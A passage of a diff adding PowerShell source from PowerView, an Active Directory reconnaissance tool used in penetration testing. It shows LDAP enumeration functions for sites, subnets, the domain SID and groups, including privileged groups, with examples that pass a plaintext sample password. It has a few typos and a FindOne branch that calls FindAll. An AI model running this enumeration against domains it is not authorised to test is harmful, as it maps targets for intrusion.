($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" + Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } + else { $Results = $OUSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $OU = $_ + } + else { + $OU = Convert-LDAPProperty -Properties $_.Properties + } + $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') + $OU + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" + } + } + $OUSearcher.dispose() + } + } +} + + +function Get-DomainSite { +<# +.SYNOPSIS + +Search for all sites or specific site objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all site objects for +the current domain are returned. + +.PARAMETER Identity + +An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER GPLink + +Only return sites with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainSite + +Returns the current sites in the domain. + +.EXAMPLE + +Get-DomainSite *admin* -Domain testlab.local + +Returns all sites with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all sites with linked to the specified group policy object. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred + +.OUTPUTS + +PowerView.Site + +Custom PSObject with translated site property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Site')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SiteSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SiteSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $SiteSearcher = Get-DomainSearcher @SearcherArguments + if (-not $SiteSearcher) { + Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" + Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } + else { $Results = $SiteSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Site = $_ + } + else { + $Site = Convert-LDAPProperty -Properties $_.Properties + } + $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') + $Site + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSite] Error disposing of the Results object" + } + } + $SiteSearcher.dispose() + } + } +} + + +function Get-DomainSubnet { +<# +.SYNOPSIS + +Search for all subnets or specific subnets objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all subnet objects for +the current domain are returned. + +.PARAMETER Identity + +An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER SiteName + +Only return subnets from the specified SiteName. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainSubnet + +Returns the current subnets in the domain. + +.EXAMPLE + +Get-DomainSubnet *admin* -Domain testlab.local + +Returns all subnets with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all subnets with linked to the specified group policy object. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred + +.OUTPUTS + +PowerView.Subnet + +Custom PSObject with translated subnet property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Subnet')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SubnetSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SubnetSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $SubnetSearcher = Get-DomainSearcher @SearcherArguments + if (-not $SubnetSearcher) { + Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" + Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } + else { $Results = $SubnetSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Subnet = $_ + } + else { + $Subnet = Convert-LDAPProperty -Properties $_.Properties + } + $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') + + if ($PSBoundParameters['SiteName']) { + # have to do the filtering after the LDAP query as LDAP doesn't let you specify + # wildcards for 'siteobject' :( + if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { + $Subnet + } + elseif ($Subnet.siteobject -like "*$SiteName*") { + $Subnet + } + } + else { + $Subnet + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" + } + } + $SubnetSearcher.dispose() + } + } +} + + +function Get-DomainSID { +<# +.SYNOPSIS + +Returns the SID for the current domain or the specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +.DESCRIPTION + +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. The SID of the returned domain controller +is then extracted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSID + +.EXAMPLE + +Get-DomainSID -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred + +.OUTPUTS + +String + +A string representing the specified domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{ + 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid + + if ($DCSID) { + $DCSID.SubString(0, $DCSID.LastIndexOf('-')) + } + else { + Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" + } +} + + +function Get-DomainGroup { +<# +.SYNOPSIS + +Return all groups or specific group objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all group objects for +the current domain are returned. To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER MemberIdentity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER GroupScope + +Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for. +Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations. + +.PARAMETER GroupProperty + +Specifies a specific property to search for when performing the group search. +Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGroup | select samaccountname + +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... + +.EXAMPLE + +Get-DomainGroup *admin* | select distinguishedname + +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl + +samaccountname +-------------- +Server Admins + +.EXAMPLE + +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) + +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) + +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.Group + +Custom PSObject with translated group property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.Group')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('UserName')] + [String] + $MemberIdentity, + + [Switch] + $AdminCount, + + [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')] + [Alias('Scope')] + [String] + $GroupScope, + + [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')] + [String] + $GroupProperty, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($GroupSearcher) { + if ($PSBoundParameters['MemberIdentity']) { + + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + + $SearcherArguments['Identity'] = $MemberIdentity + $SearcherArguments['Raw'] = $True + + Get-DomainObject @SearcherArguments | ForEach-Object { + # convert the user/group to a directory entry + $ObjectDirectoryEntry = $_.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user/group + $ObjectDirectoryEntry.RefreshCache('tokenGroups') + + $ObjectDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if ($GroupSid -notmatch '^S-1-5-32-.*') { + $SearcherArguments['Identity'] = $GroupSid + $SearcherArguments['Raw'] = $False + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + $Group = Get-DomainObject @SearcherArguments + if ($Group) { + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + } + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['GroupScope']) { + $GroupScopeValue = $PSBoundParameters['GroupScope'] + $Filter = Switch ($GroupScopeValue) { + 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } + 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } + 'Global' { 